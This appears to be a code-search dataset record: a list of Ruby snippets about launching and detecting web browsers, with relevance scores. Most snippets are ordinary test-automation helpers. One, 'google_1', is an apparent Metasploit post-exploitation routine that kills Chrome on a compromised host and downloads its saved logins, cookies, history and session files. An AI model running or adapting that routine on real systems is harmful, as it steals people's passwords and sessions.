"def open_browser_chrome\n\t\trequire 'watir-webdriver'\n\t\t@browser = Watir::Browser.new :chrome\n\tend",
"def open(browser, url=\"\")\n case browser\n when 'chrome'\n `open -a '/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome' #{url}`\n when 'firefox'\n `open -a 'Firefox' #{url}`\n when 'safari'\n `open -a 'Safari' #{url}`\n end\nend",
"def browser_open_linux(url)\n system(\"xdg-open\", url)\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def open_url(url)\n if RbConfig::CONFIG['host_os'] =~ /darwin/\n system %(open \"#{url}\")\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system %(xdg-open \"#{url}\")\n else\n puts 'Not Supported OS!'.red\n end\n end",
"def really_windows?; end",
"def browser_open_darwin(url)\n system(\"open\", \"-a\", \"chrome\", url)\n end",
"def chrome_os?\n !!(ua =~ /CrOS/)\n end",
"def browser_name\n (ENV['BROWSER'] ||= 'chrome').downcase.to_sym\nend",
"def open_browser (ele)\n\n but_ref=$array2[\"#{ele}\"]\n if but_ref == \"firefox\"\n $log.info \"Firefox browser is going to open\"\n $browser = Watir::Browser.new :firefox\n elsif but_ref== \"ie\"\n $log.info \"Internet browser is going to open\"\n $browser = Watir::Browser.new :ie\n elsif but_ref == \"chrome\"\n $log.info \"Chrome browser is going to open\"\n profile = Selenium::WebDriver::Chrome::Profile.new\n profile['download.prompt_for_download'] = false\n profile['download.default_directory'] = \"D:\\\\CCL -naz\\\\configuration\"\n $browser = Watir::Browser.new :chrome, :profile => profile\n\telse\n\tfail_screenshot\n\t $log.info \"failed to open the #{ele} browser\"\n raise(\"failed to open the #{ele} browser\") \n end\n $browser.window.resize_to(1616,876)\nend",
"def set_browser_os()\r\n browsers = Array['chrome']\r\n $os = 'Mac'\r\n if (RUBY_PLATFORM =~ /w32/) # windows\r\n $os = 'Windows'\r\n browsers = Array['chrome']\r\n elsif (RUBY_PLATFORM =~ /darwin/) # mac\r\n $os = 'Mac'\r\n browsers = Array['chrome','safari']\r\n end\r\nend",
"def open_in_browser\n puts url\n `#{open} #{url}`\n end",
"def browser\n (ENV['BROWSER'] ||= 'chrome').to_sym\nend",
"def open_in_browser?(job)\n puts \"\\nURL: #{job.full_url}\"\n # print \"Open job page in browser?(yes/no): \".blue\n # response = gets.chomp.downcase\n\n response = @prompt.yes?(\"Open job page in browser?\")\n\n if response == \"y\" || response == \"yes\"\n system(\"xdg-open #{job.full_url}\")\n end\n end",
"def host_os; end",
"def host_os; end",
"def launch_browser(url)\n case RUBY_PLATFORM\n when /darwin/\n system \"open\", url\n when /mswin|mingw|cygwin/\n system \"start\", url\n else\n system \"xdg-open\", url\n end\n end",
"def open_browser_with_search(url)\n Launchy.open(url)\nend",
"def ask_to_open_in_browser(url)\n if RUBY_PLATFORM =~ /darwin|linux/i\n open_in_browser = ask \"Would you like to open it in your browser? \"\n if open_in_browser =~ /^y/i\n if RUBY_PLATFORM =~ /darwin/i\n # OS X\n run \"open #{url}\"\n else\n # Ubuntu\n run \"xdg-open #{url}\"\n end\n end\n end\n end",
"def windows?; end",
"def ask_to_open_in_browser(url)\n if RUBY_PLATFORM =~ /darwin|linux/i\n open_in_browser = ask \"Would you like to open it in your browser? \"\n if open_in_browser =~ /^y/i\n if RUBY_PLATFORM =~ /darwin/i\n # OS X\n `open #{url}`\n else\n # Ubuntu\n `xdg-open #{url}`\n end\n end\n end\n end",
"def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end",
"def new_browser\n if ENV[\"LOCAL_OR_HEROKU\"] then\n Watir::Browser.new :firefox\n else\n options = Selenium::WebDriver::Chrome::Options.new\n # make a directory for chrome if it doesn't already exist\n chrome_dir = File.join Dir.pwd, %w(tmp chrome)\n FileUtils.mkdir_p chrome_dir\n user_data_dir = \"--user-data-dir=#{chrome_dir}\"\n # add the option for user-data-dir\n options.add_argument user_data_dir\n\n # let Selenium know where to look for chrome if we have a hint from\n # heroku. chromedriver-helper & chrome seem to work out of the box on osx,\n # but not on heroku.\n if chrome_bin = ENV[\"GOOGLE_CHROME_BIN\"]\n options.add_argument \"no-sandbox\"\n options.binary = chrome_bin\n # give a hint to here too\n Selenium::WebDriver::Chrome.driver_path = \\\n \"/app/vendor/bundle/bin/chromedriver\"\n end\n\n # headless!\n # keyboard entry wont work until chromedriver 2.31 is released\n options.add_argument \"window-size=1200x600\"\n options.add_argument \"headless\"\n options.add_argument \"disable-gpu\"\n\n # make the browser\n Watir::Browser.new :chrome, options: options\n end\n end",
"def browser\n BrowserInst.browser\n end",
"def headless!; end",
"def headless!; end",
"def open_viewer(urn,access_token)\n path = File.expand_path(File.dirname(__FILE__))\n url = \"file://#{path}/viewer.html?token=#{access_token}&urn=#{urn}\"\n text_to_print_in_color = \"Please open the following url in your favorite browser:\\n#{url}\"\n puts(\"\\e[7m#{text_to_print_in_color}\\e[27m\")\n\nend",
"def open()\n \n #note we would want to check for the browser bing open already\n #so we don't annoy people\n \n event(\"Pre\")\n require 'launchy'\n Launchy.open(\"http://local.general.dev/info.php\") #note this should be from setting file\n event(\"Post\")\n end",
"def open_browser_ff\n\t\trequire 'watir-webdriver'\n\t\t@browser = Watir::Browser.new :ff\n\tend",
"def cururl\n Chrome.windows[1].get.tabs[Chrome.windows[1].get.active_tab_index.get].get.URL.get.strip\nend",
"def open_shell()\n\t\traise NotImplementedError\n\tend",
"def use_current_browser(how = :title, what = /.*/)\n @web_browser = WebBrowser.attach_browser(how, what)\n end",
"def google_1\n\nr=''\n# variable declarations\noutpath = datastore['DOWNLOAD_PATH']\nsysnfo = session.sys.config.sysinfo\npathexe=\"\\\"%programfiles%\\\"\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\"\ndatapath=\"%homepath%\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\\\\"User Data\\\"\\\\Default\"\n\n # check for proper settings enter by user ...\n if datastore['CHROME'] == 'nil' || datastore['DOWNLOAD_PATH'] == 'nil'\n print_error(\"Please set CHROME | DOWNLOAD_PATH options...\")\n return\n else\n print_status(\"Searching for Google Chrome path...\")\n #check if chrome.exe exists\n if session.fs.file.exist?(pathexe)\n print_good(\" Google Chrome directoy found...\")\n else\n print_error(\"Google Chrome path not found.\")\n print_line(\"\")\n return\n end\n end\n\n\n #check if chrome.exe its running, if true terminate the process\n proc=\"chrome.exe\"\n client.sys.process.get_processes().each do |x|\n next if skip_process_name?(x['name'].downcase)\n vprint_status(\"Checking #{x['name'].downcase} ...\")\n if proc == (x['name'].downcase)\n print_status(\"Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...\")\n begin\n client.sys.process.kill(x['pid'])\n print_good(\" #{x['name']} terminated.\")\n end\n end\nend\n \n\n\n # list of arrays to be executed\n creds = [\n 'History',\n 'Login Data',\n 'Cookies',\n 'Web Data',\n 'Current Session'\n ]\n\n\n # loop funtion to download files from target system\n session.response_timeout=120 \n creds.each do |dump|\n r = client.fs.file.download(\"#{outpath}/#{sysnfo['Computer']}/#{dump}\",\"#{datapath}\\\\#{dump}\")\n print_good(\" Downloading => #{dump}\")\n\n # close client channel when done\n while(d = r.channel.read)\n break if d == \"\"\n end\n # error exception funtion\n rescue ::Exception => e\n print_error(\"Error Running Command: #{e.class} #{e}\")\n print_error(\" Error copying the file, try to see if Google Chrome its running on target machine.\")\nend\n\n\n\n\n\n\n# -------------------\n# MAIN MENU DISPLAYS\n# -------------------\ndef run\n session = client\n sysnfo = session.sys.config.sysinfo\n\n print_line(\"\")\n print_line(\" ---------------------------------\")\n print_line(\" | Computer: #{sysnfo['Computer']}\")\n print_line(\" | OS: #{sysnfo['OS']}\")\n print_line(\" ---------------------------------\")\n print_line(\"\")\n \n #print_warning(\"just another color display...\")\n #print_error(\"another color display...\")\n if datastore['FIREFOX'] \n\t firefox_1 # jump to firefox funtion\n end\t\n\n if datastore['CHROME']\n google_1 # jump to google chrome function\n end\n\n end\nend",
"def open_browser_ie \n\t\trequire 'watir-webdriver'\n\t\t@browser = Watir::Browser.new :ie\n\tend",
"def dynamic_search\n # require 'selenium-webdriver'\n #\n # options = Selenium::WebDriver::Chrome::Options.new(args: ['headless'])\n # driver = Selenium::WebDriver.for(:chrome, options: options)\n # driver.get('http://stackoverflow.com/')\n # puts driver.title\n # driver.quit\n end",
"def shell_open()\n\t\traise NotImplementedError\n\tend",
"def use_current_watir_browser(how = :title, what = /.*/)\r\n @web_browser = WebBrowser.attach_browser(how, what)\r\n end",
"def use_managed_browser\n return @use_managed_browser\n end",
"def open_browser_by_watir(options = {})\r\n\r\n begin\r\n support_unicode\r\n rescue => e\r\n puts \"Unicode may not work in IE, #{e}\"\r\n end\r\n\r\n\t\t\tif options && options.class == String\r\n\t\t\t options = {:base_url => options.to_s }\r\n\t\t\tend\r\n\t\t\t \r\n\t\t\tif options && options.class == Hash && options[:base_url]\r\n \tbase_url ||= options[:base_url]\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\tbase_url = options[:base_url] rescue nil \r\n\t\t\tbase_url ||= $TESTWISE_PROJECT_BASE_URL\t\t\t\r\n base_url ||= $BASE_URL\r\n \r\n raise \"base_url must be set\" if base_url.nil?\r\n\r\n default_options = {:speed => \"fast\",\r\n :visible => true,\r\n :highlight_colour => 'yellow',\r\n :close_others => true,\r\n :start_new => false, # start a new browser always\r\n :go => true}\r\n\r\n options = default_options.merge options\r\n ($TESTWISE_HIDE_BROWSER) ? $HIDE_IE = true : $HIDE_IE = false\r\n\r\n if base_url =~ /^file:/\r\n uri_base = base_url\r\n else\r\n uri = URI.parse(base_url)\r\n uri_base = \"#{uri.scheme}://#{uri.host}:#{uri.port}\"\r\n end\r\n\r\n if options[:start_new]\r\n @web_browser = WebBrowser.new(uri_base, nil, options)\r\n else\r\n @web_browser = WebBrowser.reuse(uri_base, options) # Reuse existing browser\r\n end\r\n\r\n if base_url =~ /^file:/\r\n goto_url(base_url) # for files, no base url\r\n else\r\n (uri.path.length == 0) ? begin_at(\"/\") : begin_at(uri.path) if options[:go]\r\n end\r\n\r\n return @web_browser\r\n end",
"def platform; end",
"def platform; end",
"def platform; end",
"def test_Browser_001_is_browser_installed()\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Browser_001_is_browser_installed\")\n puts2(\"#######################\")\n\n puts2(\"\\n\\nTest - is_chrome64_installed?()\")\n puts2(\"is_chrome64_installed? = \" + is_chrome64_installed?().to_s)\n\n puts2(\"\\n\\nTest - is_firefox64_installed?()\")\n puts2(\"is_firefox64_installed? = \" + is_firefox64_installed?().to_s)\n\n end",
"def dev_host\n case Socket.gethostname\n when /romeo-foxtrot/i ; true\n else ; false\n end\nend",
"def get_browser(scenario)\n if ENV['LOCAL']\n return get_local_browser(scenario)\n end\n get_zalenium_browser(scenario)\nend",
"def show_windows\n end",
"def check_browser_type(platform, browser_type)\n if platform == 'desktop'\n if !%w(ff ie chrome safari opera).include? browser_type\n print_error_desktop\n end\n else\n if !%w(native chrome safari).include? browser_type\n print_error_mobile\n end\n end\nend",
"def browser_type\n if $TESTWISE_BROWSER\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n \"chrome\".to_sym\n end\n end",
"def open_browser (browser)\n\t\tloop do\n\t\t print \"Input browser (IE or FF or Chrome): \"\n\t\t browser = gets.chomp\n\n\t\t if browser.empty?\n\t\t\tputs \"No input.\"\n\t\t elsif (browser == 'IE') or (browser == 'FF') or (browser == 'Chrome')\n\t\t\tbreak\n\t\t else\n\t\t\tputs \"Invalid input. Input IE or FF or Chrome as indicated.\"\n\t\t end\n\t\tend\n\n\t\tcase \n\t\t\twhen browser == 'IE'\n\t\t\t\tself.open_browser_ie\n\t\t\twhen browser == 'FF'\n\t\t\t\tself.open_browser_ff\n\t\t\telse browser == 'Chrome'\n\t\t\t\tself.open_browser_chrome\n\t\tend\n\tend",
"def opening; end",
"def opening; end",
"def opening; end",
"def show\n require 'selenium-webdriver'\n require 'capybara'\n require 'nokogiri'\n # Capybara自体の設定、ここではどのドライバーを使うかを設定しています\n Capybara.configure do |capybara_config|\n capybara_config.default_driver = :selenium_chrome\n capybara_config.default_max_wait_time = 10 # 一つのテストに10秒以上かかったらタイムアウトするように設定しています\n end\n # Capybaraに設定したドライバーの設定をします\n Capybara.register_driver :selenium_chrome do |app|\n options = Selenium::WebDriver::Chrome::Options.new\n options.add_argument('headless') # ヘッドレスモードをonにするオプション\n options.add_argument('--disable-gpu') # 暫定的に必要なフラグとのこと\n Capybara::Selenium::Driver.new(app, browser: :chrome, options: options)\n end\n\n Capybara.javascript_driver = :selenium_chrome\n\n\n @b = Capybara.current_session\n # include Capybara::DSL;\n\n @b.visit('https://sketch.pixiv.net/lives')\n\n @b.windows.each do |w|\n @b.switch_to_window(w)\n @b.save_screenshot\n doc = Nokogiri::HTML.parse(@b.html)\n doc.xpath('//div[@class=\"Live\"]').each do |node|\n p \"ユーザー名\"\n p node.css('.owner').text\n p \"配信タイトル\"\n p node.css('.LiveFoot').text\n p \"配信URL\"\n p node.css('.thumb').attribute('href').text\n end\n end\n end",
"def browser\n BrowserInst.browser\n end",
"def open_command\r\n if RbConfig::CONFIG[\"host_os\"] =~ /mswin|mingw/\r\n \"start\"\r\n elsif RbConfig::CONFIG[\"host_os\"] =~ /darwin/\r\n \"open\"\r\n else\r\n \"xdg-open\"\r\n end\r\nend",
"def browser_supported_by_metamask?\n browser.chrome? || browser.firefox?\n end",
"def open_random\n Defcli.open_in_browser random_url(:api => false)\n end",
"def browser\r\n @web_browser\r\n end",
"def browser_type\n if $TESTWISE_BROWSER then\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n end\n end",
"def client_browser_name\n user_agent = request.env['HTTP_USER_AGENT'].downcase\n if user_agent =~ /msie/i\n \"Microsoft\"\n elsif user_agent =~ /applewebkit/i\n \"Apple or Google\"\n elsif user_agent =~ /Chrome/i\n \"Google\"\n elsif user_agent =~ /Mozilla/i\n \"Mozilla\"\n else\n \"your browser\"\n end\n end",
"def get_local_browser(scenario)\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.read_timeout = TIMEOUT\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend",
"def client_browser_name \n user_agent = (request.env['HTTP_USER_AGENT'] || \"\").downcase \n if user_agent =~ /msie/i \n \"Internet Explorer\" \n elsif user_agent =~ /applewebkit/i \n \"Safari\" \n elsif user_agent =~ /konqueror/i \n \"Konqueror\" \n elsif user_agent =~ /gecko/i \n \"Mozilla\" \n elsif user_agent =~ /opera/i \n \"Opera\" \n else \n \"Unknown\" \n end \n end",
"def run\n super\n\n uri = _get_entity_name\n \n begin \n _log \"Browser Navigating to #{uri}\"\n c = Intrigue::ChromeBrowser.new\n browser_response = c.navigate_and_capture(uri)\n rescue Errno::ECONNREFUSED => e \n _log_error \"Unable to connect to chrome browser. Is it running on :9222?\"\n rescue StandardError => e\n `pkill -9 chromium` # hacktastic\n end\n\n if browser_response \n # capture a screenshot and save it as a detail\n _set_entity_detail(\"hidden_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_requests\",browser_response[\"requests\"])\n end\n\n end",
"def dev_exp; nav.link(:text, 'Device Explorer'); end",
"def launch_web\n if !File.exist? 'build/app.html'\n puts \"No web app built!\"\n exit\n end\n open_cmd = 'open'\n case RUBY_PLATFORM\n when /linux/\n open_cmd = \"xdg-#{open_cmd}\"\n when /mingw/\n open_cmd = \"start\"\n end\n system \"#{open_cmd} build/app.html\"\nend",
"def blog\n system(\"open #{blog_url}\")\n end",
"def browser_type\n\t if $TESTWISE_BROWSER then\n\t $TESTWISE_BROWSER.downcase.to_sym\n\t elsif ENV[\"BROWSER\"]\n\t ENV[\"BROWSER\"].downcase.to_sym\n\t else\n\t RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n\t end\n\tend",
"def gh_open(path)\n url = url_base + path.chomp\n # use open if on OSX\n if RUBY_PLATFORM.downcase.include?(\"darwin\")\n %x{open #{url}}\n else\n puts url\n end\nend",
"def user_agent; end",
"def user_agent; end",
"def user_agent; end",
"def open()\n \n #note we would want to check for the browser being open already\n #so we don't annoy people\n \n event(\"Pre\")\n require 'launchy'\n Launchy.open(\"http://store.mage.dev/admin\") #note this should be from setting file\n event(\"Post\")\n end",
"def launch_browser(html)\n fork do\n Tempfile.open(%w[bud .html]) do |handle|\n handle.write(html)\n handle.flush\n system(\"open #{handle.path}\")\n sleep 300\n end\n end\nend",
"def launch_web\n if !File.exists? 'build/app.html'\n puts \"No web app built!\"\n exit\n end\n open_cmd = 'open'\n case RUBY_PLATFORM\n when /linux/\n open_cmd = \"xdg-#{open_cmd}\"\n when /mingw/\n open_cmd = \"start\"\n end\n system \"#{open_cmd} build/app.html\"\nend",
"def browse(number)\n request = get_request_by_number(number)\n Launchy.open(request.html_url)\n end",
"def abrirNavegador()\n\tbrowser = Watir::Browser.new :firefox\n\n\tbrowser\nend",
"def start\r\n #$driver=Selenium::WebDriver::Chrome::Service.driver_path=\"./Drivers/chromedriver\"\r\n $driver = Selenium::WebDriver.for :chrome\r\n $driver.get('https://lola-protected:[email protected]/')\r\n #$driver.switch_to.window($driver.window_handles[1])\r\n $driver.manage.window.maximize\r\n $wait = Selenium::WebDriver::Wait.new(timeout:10)\r\n $wait.until{$driver.find_element(:id,\"sign-in-popover\").displayed? }\r\nend",
"def open_command\n if RbConfig::CONFIG[\"host_os\"] =~ /mswin|mingw/\n \"start\"\n elsif RbConfig::CONFIG[\"host_os\"] =~ /darwin/\n \"open\"\n else\n \"xdg-open\"\n end\nend",
"def open_software\n \"Open #{software_name}\"\n end",
"def open_software\n \"Open #{software_name}\"\n end",
"def setup_browser(url)\n browser = Watir::Browser.new :firefox, headless: true\n browser.goto url\n return browser\nend",
"def browser\n Praline::browser\n end",
"def go()\n\[email protected] @url\n end",
"def open_browser\n `open #{@report_file.path}`\n end",
"def platform\n \"win\"\n end",
"def firefox\r\n @web_browser.firefox\r\n end",
"def ios; end",
"def open\n require \"launchy\"\n\n Launchy.open(BASE_URL)\n end",
"def setup_local(driver)\n if driver == 'chrome'\n @browser = Watir::Browser.new :chrome\n elsif driver == 'firefox'\n @browser = Watir::Browser.new :firefox, marionette: true\n end\nend",
"def browser_detection(http)\n if http.match(/MSIE 6|MSIE 7|MSIE 8.0/)\n content_tag(:div, \"For an optimal Tenon experience, please upgrade Internet Explorer to the #{link_to 'latest version', 'http://browsehappy.com/', target: '_blank'} or switch to another #{link_to 'modern browser', 'http://browsehappy.com/', target: '_blank'}.\".html_safe, id: 'flash-warning', class: 'flash-msg')\n end\n end",
"def open_compare_page\n cli.copy_to_clipboard compare_url\n cli.open compare_url\n end",
"def js_driver\n system(\"which phantomjs > /dev/null 2>&1\") ? :poltergeist : :webkit\n end",
"def env_browser_name\n (ENV['BROWSER'] ||= 'firefox')\nend",
"def print_error_android(browser_type, app_path)\n if browser_type=='ff' and app_path==nil\n puts \"\\nOops... not mentioned \\\"Browser\\\" or \\\"App path\\\"\"\n print_error_android_app\n print_error_android_web\n Process.exit(0) \n elsif browser_type!='ff' and !%w(native chrome).include? browser_type\n puts \"\\nOops... not supported browser\"\n print_error_android_web\n Process.exit(0) \n end\nend",
"def custom_browser_display_name\n return @custom_browser_display_name\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def print_error_desktop\n puts \"\\nInappropraite desktop browser : \\\"#{ENV['BROWSER']}\\\"\"\n puts \"\\nUsage : cucumber BROWSER=browser_name\"\n puts \"\\nBrowser Supported :\\n\"\n puts \"\\n1.ie\\n2.chrome\\n3.ff\\n4.safari\\n5.opera\" \n Process.exit(0)\nend"
] | [
"0.63988405",
"0.6352659",
"0.6340371",
"0.62825996",
"0.61843264",
"0.60961145",
"0.5971223",
"0.5952971",
"0.5949108",
"0.5893418",
"0.5816647",
"0.5808507",
"0.5774094",
"0.57724684",
"0.57445914",
"0.5727485",
"0.5716825",
"0.56944555",
"0.56944555",
"0.5693313",
"0.5653423",
"0.56449723",
"0.5637504",
"0.56299174",
"0.5624587",
"0.561406",
"0.5553226",
"0.5549026",
"0.5549026",
"0.55256855",
"0.5508013",
"0.5503452",
"0.5493661",
"0.54884005",
"0.5476549",
"0.54749393",
"0.54689234",
"0.5447763",
"0.54349905",
"0.5404603",
"0.54043806",
"0.53956455",
"0.53876543",
"0.53876543",
"0.53876543",
"0.5384592",
"0.53777915",
"0.53744674",
"0.5372467",
"0.5371025",
"0.53639317",
"0.5363671",
"0.535649",
"0.535649",
"0.535649",
"0.53547233",
"0.53527933",
"0.5351363",
"0.534698",
"0.5343361",
"0.53381026",
"0.5334433",
"0.5318416",
"0.5312242",
"0.53050464",
"0.52790433",
"0.5278908",
"0.52713454",
"0.5270031",
"0.52617884",
"0.52571833",
"0.52456045",
"0.52456045",
"0.52456045",
"0.5241237",
"0.52410686",
"0.5240103",
"0.5224766",
"0.52239335",
"0.52187043",
"0.5216365",
"0.5211582",
"0.5211582",
"0.5209081",
"0.52059263",
"0.5196161",
"0.5181061",
"0.5180227",
"0.5178466",
"0.51755506",
"0.5171838",
"0.515598",
"0.5152837",
"0.5137513",
"0.5136925",
"0.5132537",
"0.5131368",
"0.51273525",
"0.5126001",
"0.5126001",
"0.512438"
] | 0.0 | -1 |
Following method will run the download script, which we have written inside download_ci_data file | def download_actual_signing_credentials()
sh($path_to_shell_script_file)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def download\n if File.exist?\"#{Rails.root}/public/MEAN_Angular_#{current_user.email}.sh\"\n @mean_angular_script = \"MEAN_Angular_#{current_user.email}.sh\"\n end\n\n if File.exist?\"#{Rails.root}/public/MEAN_AngularJS_#{current_user.email}.sh\"\n @mean_angularjs_script = \"MEAN_AngularJS_#{current_user.email}.sh\"\n end\n\n if File.exist?\"#{Rails.root}/public/Python_Django_#{current_user.email}.sh\"\n @python_django_script = \"Python_Django_#{current_user.email}.sh\"\n end\n\n if File.exist?\"#{Rails.root}/public/Ruby_on_Rails_#{current_user.email}.sh\"\n @ruby_on_rails_script = \"Ruby_on_Rails_#{current_user.email}.sh\"\n end\n end",
"def download\n create_agent\n login\n fetch_feed\n create_catalog\n download_catalog\n end",
"def download_data\n puts 'Downloading data ...'\n\n cmd = \"wget --output-document=#{DATA_PATH} #{SFPD_DATA}\"\n system cmd\n end",
"def do_download\n retrier(tries: 10, sleep: ->(n) { 4**n }) { installed?('aria2') }\n cmd = [which('aria2c')] << args.flatten.join(' ')\n Chef::Log.info shell_out!(cmd.flatten.join(' ')).stdout\n end",
"def download\n @assessment = Assessment.find(params[:id])\n if current_user.role.name.eql?('Support Team')\n @assessment.update_attribute(:status,5)\n end\n send_file process_zip(@assessment,@assessment.asset)\n end",
"def download\r\n download = Download.find params[:id]\r\n \r\n # If this download is available only after login, execute an authentication process.\r\n return if download.restrict && !user_authentication\r\n \r\n # Download contains an agreement\r\n if download.agreement\r\n # Redirect to the agreement page if it is a GET request.\r\n unless request.post?\r\n render :partial => 'agreement', :object => download.agreement, :layout => true\r\n return false\r\n end\r\n \r\n if params[:commit] == 'Accept'\r\n # User accept this agreement, log this event and then continue.\r\n agreement_log = AgreementLog.create(\r\n :agreement => download.agreement,\r\n :download => download,\r\n :remote_ip => request.remote_ip,\r\n :store_user => (session[:web_user].nil? ? nil : session[:web_user]),\r\n :http_header => request.env.to_yaml\r\n )\r\n else\r\n # User does not accept this agreement, redirect to support page.\r\n redirect_to :action => 'index'\r\n return false\r\n end\r\n end\r\n \r\n # Generate a symbolic link for this file to download.\r\n # After deploied on server, a CRON job will clean up these links every 30 minutes.\r\n path = Digest::SHA1.hexdigest(\"#{session.session_id} @ #{Time.now.to_f}\")\r\n path << \".u_#{session[:web_user].id}\" if download.restrict\r\n path << \".a_#{agreement_log.id}\" if download.agreement\r\n filename = download.filename\r\n \r\n FileUtils.mkdir \"./public/downloads/#{path}\" unless File.directory? \"./public/downloads/#{path}\"\r\n target_file = \"./public/downloads/#{path}/#{filename}\"\r\n \r\n # Codes for test only. Delete 2 lines below.\r\n # render :text => \"Redirect to /downloads/#{path}/#{filename}\"\r\n # return false\r\n \r\n unless File.symlink(\"#{RAILS_ROOT}/downloads/#{download.filename}\", target_file) == 0\r\n render :text => \"Sorry, system is busy now. Please try again several seconds later.\"\r\n return false\r\n end\r\n \r\n # Log this file name in database.\r\n File.open('log/download.log', 'a') { |file| file.puts \"downloads/#{path}/#{filename}\" }\r\n\r\n redirect_to \"/downloads/#{path}/#{filename}\"\r\n end",
"def exec_download(download_path, op, params)\n exec_api_download(JsonRequest.new(op, params), download_path)\n end",
"def download\n @data = HeyDan::Helper.get_data_from_url(HeyDan.cdn + '/' + dataset_file_name)\n end",
"def download\n # dl_target : where to download\n dl_target = ' -a DLTarget=' + @dir_lpp_sources\n # filter_dir : does not download if already here\n filter_dir = ' -a FilterDir=' + @dir_lpp_sources\n action = ' -a Action=Download'\n download_suma_command = @suma_command + @display_lpp_sources +\n action + dl_target + filter_dir\n download_error = false\n Log.log_info('SUMA download operation: ' + download_suma_command)\n #\n succeeded = 0\n failed = 0\n skipped = 0\n download_dl = 0\n download_downloaded = 0\n download_failed = 0\n download_skipped = 0\n if @preview_done\n Log.log_info('Start downloading ' + @downloaded.to_s +\n ' fixes (~ ' + @dl.round(2).to_s + ' GB).')\n @preview_done = false\n else\n Log.log_info('Start downloading fixes.')\n end\n #\n exit_status = Open3.popen3({ 'LANG' => 'C' }, download_suma_command) \\\ndo |_stdin, stdout, stderr, wait_thr|\n thr = Thread.new do\n start = Time.now\n loop do\n Log.log_info(\"\\033[2K\\rSUCCEEDED: \\\n #{succeeded}/#{@downloaded}\\tFAILED: #{failed}/#{@failed}\\\n \\tSKIPPED: #{skipped}/#{@skipped}. \\\n(Total time: #{duration(Time.now - start)}).\")\n sleep 1\n end\n end\n #\n stdout.each_line do |line|\n succeeded += 1 if line =~ /^Download SUCCEEDED:/\n failed += 1 if line =~ /^Download FAILED:/\n skipped += 1 if line =~ /^Download SKIPPED:/\n download_dl = Regexp.last_match(1).to_f / 1024 / 1024 / 1024 \\\nif line =~ /Total bytes of updates downloaded: ([0-9]+)/\n download_downloaded = Regexp.last_match(1).to_i \\\nif line =~ /([0-9]+) downloaded/\n download_failed = Regexp.last_match(1).to_i \\\nif line =~ /([0-9]+) failed/\n download_skipped = Regexp.last_match(1).to_i \\\nif line =~ /([0-9]+) skipped/\n Log.log_debug(line.chomp.to_s)\n end\n #\n stderr.each_line do |line|\n download_error = true if line =~ /0500-013 Failed to retrieve list from fix server./\n download_error = true if line =~ /0500-035 No fixes match your query./\n download_error = true if line =~ /0500-012 An error occurred attempting to download./\n download_error = true if line =~ /0500-041 The following system command failed/\n Log.log_err(line.chomp.to_s)\n end\n thr.exit\n wait_thr.value # Process::Status object returned.\n end\n\n if exit_status.success? && !download_error\n Log.log_info(\"Finished downloading #{succeeded} fixes (~ #{download_dl.to_f.round(2)} GB).\")\n Log.log_info('Done suma download operation: ' + download_suma_command)\n else\n Log.log_err(\"Only downloaded #{succeeded} fixes (~ #{download_dl.to_f.round(2)} GB).\")\n Log.log_err('Suma download operation not done: ' + download_suma_command)\n raise SumaDownloadError,\n 'SumaDownloadError: Command ' + download_suma_command + ' returns above error!'\n end\n\n @dl = download_dl\n @downloaded = download_downloaded\n @failed = download_failed\n @skipped = download_skipped\n Log.log_info('Download: ' +\n @downloaded.to_s +\n ' downloaded (' + @dl.round(2).to_s + ' GB), ' +\n @failed.to_s +\n ' failed, ' +\n @skipped.to_s +\n ' skipped fixes')\n Log.log_info('Done suma download operation: ' +\n download_suma_command)\n end",
"def download_file\n @user = User.find_by_dtoken(params[:dtoken])\n @os = params[:os]\n if @user.nil?\n redirect_to :action => download\n else\n download_file = \"#{BINARIES[@os]}\"\n download_loc = \"#{DOWNLOAD_LOC}/#{download_file}\"\n # download_loc = \"domosaics.jar\" if @os == 'unknown'\n send_file(\"#{download_loc}\", :filename => \"#{BINARIES[@os]}\")\n # EMAIL TO ANGSDT TEAM:\n UserMailer.download_notification(@user).deliver\n #render :text => \"You are in the download area... !\"\n end\n end",
"def download(download_dir)\n @downloaded_file = File.join(download_dir,\"label_mapping.tsv.gz\")\n \n @log.info \"Downloading from SIDER to #{@downloaded_file}\" if @log\n system(\"curl -o #{@downloaded_file} -i ftp://sideeffects.embl.de/SIDER/latest/label_mapping.tsv.gz\")\n system(\"gunzip #{@downloaded_file}\")\n \n @file = File.join(download_dir,\"label_mapping.tsv\")\n end",
"def download!\n\t\traise_if_error C.glyr_opt_download(to_native, true)\n\tend",
"def download\n begin\n $results.log_action(\"button(#{@params[0]})\")\n @driver.find_element(:partial_link_text, \"Download\").click\n $results.success\n rescue => ex\n $results.fail(\"button(#{@params[0]})\", ex)\n end\n end",
"def run_successful_download(broker, agent, files, **kwargs, &block)\n download_file(broker, agent, files, **kwargs) do |datas|\n ensure_successful(broker, [agent], datas, **kwargs, &block)\n end\nend",
"def perform()\n @date = Date.today\n download\n end",
